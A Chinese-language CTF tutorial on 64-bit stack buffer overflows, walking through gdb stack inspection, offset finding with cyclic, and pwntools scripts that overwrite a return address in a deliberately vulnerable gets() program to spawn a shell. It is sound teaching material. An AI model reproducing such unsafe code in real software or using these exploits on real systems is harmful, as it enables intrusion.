pwn(1)-栈溢出(上)

  1. 熟悉栈溢出的原理
  2. 熟悉栈溢出的防御方法
  3. 学会栈溢出的利用方法
  4. 学会栈溢出的奇技淫巧

栈溢出原理和防御(一)

栈的高地址在下低地址在上,先进入的数据压入栈底。
pwn(1)-栈溢出(上)_第1张图片
例如

#include 
int add(int a,int b)
{
    return a+b;
}
int main()
{
    int a=4;
    int b=5;
    int sum;
    sum=add(a,b);
    printf("sum: %d\n",sum);
    return 0;
}

gdb调试到push操作esp会减少4,ebp不变,只改变栈顶。

pop ebp

后esp增加4,ebp会变为刚才esp指向的值
pwn(1)-栈溢出(上)_第2张图片
主要点

1.栈中

2.超出长度

例子

#include 
void pwnme()
{
    system("/bin/sh");
}
int main()
{
    char buf[10];
    gets(buf);
    printf("%s\n",buf);
    return 0;
}

gdb到输入,输入8个1

x/20gx 0x7fffffffdfc0

查看输入
pwn(1)-栈溢出(上)_第3张图片
31313131就是输入的1的ascii码

运行到ret后,返回会main函数,
pwn(1)-栈溢出(上)_第4张图片
返回会地址为0x7ffff7a5a2e1;

进入栈顶esp看看

x/20gx 0x7fffffffcb38

可以看到返回地址储存在

0x7fffffffcb38地址中,

在向上看看

x/20gx 0x7fffffffcb38-16*2

刚才输入的数据在

0x7fffffffcb18和0x7ffffffffcb28中,再后面就是函数返回地址了。

gets函数可以无限写入,把前面注满,就到了存储返回地址的地址,就可以改变返回地址。

输入20个1后,查看栈
pwn(1)-栈溢出(上)_第5张图片
把返回地址覆盖了。

pwntools使用

使用基本框架

from pwn import *
#p= process("./pwn")
p=remote("127.0.0.1",1234)
payload=b"a"*120+p64(0x601020)
p.sendline(payload)
p.interactive()

pwn(1)-栈溢出(上)_第6张图片
pwn(1)-栈溢出(上)_第7张图片
函数返回地址为0x00007ffff7003131

后面的3131就是输入1的填充结果,如果我们把这个地址填充成void pwnme()的地址,就可拿到shell了。
pwn(1)-栈溢出(上)_第8张图片
可以看到,他会提示你该返回地址不存在。

要想修改返回地址,就要知道要溢出多少个字节。

用到工具cyclic

cyclic 50

会生成长度为50的串。

我们把它输入到程序,可以看到地址被修改

pwn(1)-栈溢出(上)_第9张图片
然后我们取后吧个字节就是16进制中的16个数,这里为6164616161616161

然后工具输入就可以计算需要覆盖多少字节

cyclic -l 0x6164616161616161
#18

说明需要18个字节

cyclic 18

输入

aaaaaaaabaaaaaaaca11111111

结果
pwn(1)-栈溢出(上)_第10张图片
成功覆盖。

找到pwnme函数地址

p pwnme

pwn(1)-栈溢出(上)_第11张图片
exp

from pwn import *
p=process("./stack_overflow")
payload=b"a"*18+p64(0x400586)
#64位程序用p64,32位用p32
p.sendline(payload)
p.interactive()

运行得到shell

pwn(1)-栈溢出(上)_第12张图片
注意:Ubuntu18.04 64位 和 部分Ubuntu16.04 64位 调用system的时候,rsp的最低字节必须为0x00(栈以16字节对齐),否则无法运行system指令。要解决这个问题,只要将返回地址设置为跳过函数开头的push rbp就可以了

你可能感兴趣的:(pwn,java,c++,算法,linux)